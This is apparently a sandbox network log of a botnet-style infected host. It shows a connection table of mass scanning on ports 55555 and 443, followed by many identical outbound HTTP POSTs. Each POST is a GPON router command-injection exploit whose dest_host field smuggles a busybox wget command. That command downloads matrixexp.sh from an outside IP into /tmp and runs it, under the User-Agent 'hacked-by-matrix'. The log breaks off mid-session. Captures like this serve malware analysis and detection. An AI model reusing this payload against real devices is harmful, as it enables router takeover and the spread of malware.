Mar 2, 2024 12:36:51.825690985 CET	55302	55555	192.168.2.23	172.143.194.24
Mar 2, 2024 12:36:51.825690985 CET	45756	443	192.168.2.23	2.136.103.244
Mar 2, 2024 12:36:51.825695038 CET	55302	55555	192.168.2.23	184.54.148.53
Mar 2, 2024 12:36:51.825700998 CET	55302	55555	192.168.2.23	172.229.50.235
Mar 2, 2024 12:36:51.825706005 CET	55302	55555	192.168.2.23	184.134.147.24
Mar 2, 2024 12:36:51.825706005 CET	55302	55555	192.168.2.23	184.125.110.92
Mar 2, 2024 12:36:51.825707912 CET	55302	55555	192.168.2.23	98.135.140.99
Mar 2, 2024 12:36:51.825706005 CET	55302	55555	192.168.2.23	98.225.217.21
Mar 2, 2024 12:36:51.825707912 CET	55302	55555	192.168.2.23	184.129.72.233
Mar 2, 2024 12:36:51.825716019 CET	443	45756	2.136.103.244	192.168.2.23
Mar 2, 2024 12:36:51.825783968 CET	41036	443	192.168.2.23	210.131.52.120
Mar 2, 2024 12:36:51.825790882 CET	443	41036	210.131.52.120	192.168.2.23
Mar 2, 2024 12:36:51.825794935 CET	45756	443	192.168.2.23	2.136.103.244
Mar 2, 2024 12:36:51.825813055 CET	55302	55555	192.168.2.23	98.138.252.106
Mar 2, 2024 12:36:51.825819969 CET	55302	55555	192.168.2.23	172.41.199.2
Mar 2, 2024 12:36:51.825822115 CET	55302	55555	192.168.2.23	172.84.186.37
Mar 2, 2024 12:36:51.825828075 CET	55302	55555	192.168.2.23	184.96.254.247
Mar 2, 2024 12:36:51.825828075 CET	55302	55555	192.168.2.23	172.62.123.102
Mar 2, 2024 12:36:51.825828075 CET	55302	55555	192.168.2.23	172.127.65.150
Mar 2, 2024 12:36:51.825828075 CET	41036	443	192.168.2.23	210.131.52.120
Mar 2, 2024 12:36:51.825845957 CET	55302	55555	192.168.2.23	184.42.82.56
Mar 2, 2024 12:36:51.825846910 CET	55302	55555	192.168.2.23	172.91.126.137
Mar 2, 2024 12:36:51.825848103 CET	55302	55555	192.168.2.23	98.33.193.120
Mar 2, 2024 12:36:51.825848103 CET	55302	55555	192.168.2.23	184.203.138.119
Mar 2, 2024 12:36:51.825848103 CET	55302	55555	192.168.2.23	172.254.34.2
Mar 2, 2024 12:36:51.825849056 CET	55302	55555	192.168.2.23	184.71.100.117
Mar 2, 2024 12:36:51.825848103 CET	55302	55555	192.168.2.23	184.54.164.67
Mar 2, 2024 12:36:51.825849056 CET	55302	55555	192.168.2.23	184.191.122.239
Mar 2, 2024 12:36:51.825848103 CET	55302	55555	192.168.2.23	184.183.89.13
Mar 2, 2024 12:36:51.825849056 CET	55302	55555	192.168.2.23	184.202.53.219
Mar 2, 2024 12:36:51.825849056 CET	55302	55555	192.168.2.23	184.28.108.63
Mar 2, 2024 12:36:51.825856924 CET	55302	55555	192.168.2.23	184.166.38.98
Mar 2, 2024 12:36:51.825859070 CET	55302	55555	192.168.2.23	184.98.196.198
Mar 2, 2024 12:36:51.825860023 CET	55302	55555	192.168.2.23	98.239.200.161
Mar 2, 2024 12:36:51.825861931 CET	55302	55555	192.168.2.23	172.51.122.24
Mar 2, 2024 12:36:51.825864077 CET	55302	55555	192.168.2.23	184.53.75.0
Mar 2, 2024 12:36:51.825864077 CET	55302	55555	192.168.2.23	172.169.214.212
Mar 2, 2024 12:36:51.825864077 CET	55302	55555	192.168.2.23	98.226.254.166
Mar 2, 2024 12:36:51.825864077 CET	55302	55555	192.168.2.23	184.36.45.155
Mar 2, 2024 12:36:51.825882912 CET	55302	55555	192.168.2.23	172.223.4.199
Mar 2, 2024 12:36:51.825912952 CET	35592	443	192.168.2.23	37.15.156.101
Mar 2, 2024 12:36:51.825918913 CET	36682	443	192.168.2.23	94.135.221.33
Mar 2, 2024 12:36:51.825921059 CET	443	35592	37.15.156.101	192.168.2.23
Mar 2, 2024 12:36:51.825927019 CET	443	36682	94.135.221.33	192.168.2.23
Mar 2, 2024 12:36:51.825934887 CET	39370	443	192.168.2.23	118.197.244.21
Mar 2, 2024 12:36:51.825936079 CET	49248	443	192.168.2.23	118.66.137.122
Mar 2, 2024 12:36:51.825942039 CET	443	49248	118.66.137.122	192.168.2.23
Mar 2, 2024 12:36:51.825946093 CET	443	39370	118.197.244.21	192.168.2.23
Mar 2, 2024 12:36:51.825953960 CET	35592	443	192.168.2.23	37.15.156.101
Mar 2, 2024 12:36:51.825965881 CET	36682	443	192.168.2.23	94.135.221.33
Mar 2, 2024 12:36:51.825977087 CET	52092	443	192.168.2.23	79.28.247.81
Mar 2, 2024 12:36:51.825977087 CET	39370	443	192.168.2.23	118.197.244.21
Mar 2, 2024 12:36:51.825985909 CET	443	52092	79.28.247.81	192.168.2.23
Mar 2, 2024 12:36:51.825995922 CET	55302	55555	192.168.2.23	184.183.51.32
Mar 2, 2024 12:36:51.826004028 CET	58622	443	192.168.2.23	79.193.56.155
Mar 2, 2024 12:36:51.826004982 CET	49248	443	192.168.2.23	118.66.137.122
Mar 2, 2024 12:36:51.826004982 CET	55302	55555	192.168.2.23	98.27.6.210
Mar 2, 2024 12:36:51.826004982 CET	55302	55555	192.168.2.23	98.137.16.75
Mar 2, 2024 12:36:51.826005936 CET	55302	55555	192.168.2.23	172.77.107.8
Mar 2, 2024 12:36:51.826014996 CET	50574	443	192.168.2.23	42.136.229.24
Mar 2, 2024 12:36:51.826015949 CET	443	58622	79.193.56.155	192.168.2.23
Mar 2, 2024 12:36:51.826016903 CET	55302	55555	192.168.2.23	172.122.178.164

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	40996	178.242.107.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837193012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	51324	178.62.97.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837229013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	41004	5.158.166.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837233067 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	49590	5.134.75.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837260008 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	52634	212.69.255.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837263107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	45604	94.202.147.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837292910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	42814	42.202.86.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837337017 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	45756	2.136.103.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837362051 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	41036	210.131.52.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837388992 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	35592	37.15.156.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837421894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	36682	94.135.221.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837421894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	39370	118.197.244.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837455034 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	52092	79.28.247.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837481976 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	49248	118.66.137.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837498903 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	58622	79.193.56.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837524891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	35244	210.60.78.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837553978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	50574	42.136.229.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837565899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	59840	79.105.114.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837587118 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	34310	178.123.225.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837622881 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	53838	109.66.237.235	443

Timestamp	Bytes transferred	Direction	Data
